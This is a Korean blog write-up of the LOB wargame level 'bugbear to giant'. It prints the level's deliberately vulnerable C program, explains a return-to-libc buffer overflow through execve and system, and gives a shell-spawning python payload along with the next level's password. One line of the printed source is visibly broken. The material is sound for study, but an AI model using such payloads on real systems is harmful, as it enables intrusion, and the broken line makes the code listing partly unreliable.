eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • hack
  • school
  • 풀이
  • webhacking.kr
  • BOF
  • Up
  • hakcing
  • write
  • attack
  • 설명
  • 해킹
  • overflow
  • LEVEL
  • pwnable
  • hacking
  • password
  • 공격
  • 스쿨
  • 문제
  • 문제풀이
  • 해커
  • LOB
  • 패스워드
  • hacker
  • 오버플로우
  • 암호
  • 메모리
  • web
  • 과정
  • buffer

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level14: bugbear → giant
0x02 Study :)/Pwnable

[LOB] Level14: bugbear → giant

2018. 8. 2. 16:06

giant

keyword : RTL(Returen To Library)

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int));
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

소스코드에는 다음단계의 libc주소를 파싱해서 가져와서 lib_addr에 저장을 한다.


그리고 해당 libc에서 __execve 함수 주소의 offset을 구해서 execve_offset에 저장을 한다.

 

argv[1][44] 에 주소를 ret에 저장을 하고 해당 값이 다르면 "You must use execve!"문자열을 출력하고 프로그램을 종료된다.


ret주소에 execve주소로 Buffer Overflow를 시키고 인자값으로 system함수의 주소를 넣어준다.

 

system 함수의 인자로 "/bin/sh"의 주소를 넣어주면 payload가 완성된다.
  

execve_addr = ebp-56 => 0x080da023 / 0x400a9d48


system : 0x40058ae0


"/bin/sh" = 0x400fbff9

 

./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"*2+"\xf9\xbf\x0f\x40"'`"

"\x0a"를 엔터로 인식하기 때문에 페이로드 전체를 "" 로 묶어준다.

 

giant / one step closer



 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level16: assassin → zombie_assassin
    • [LOB] Level15: gaint → assassin
    • [LOB] Level13: darkknight → bugbear
    • [LOB] Level12: golem → darkknight
    eli_ez3r
    eli_ez3r

    티스토리툴바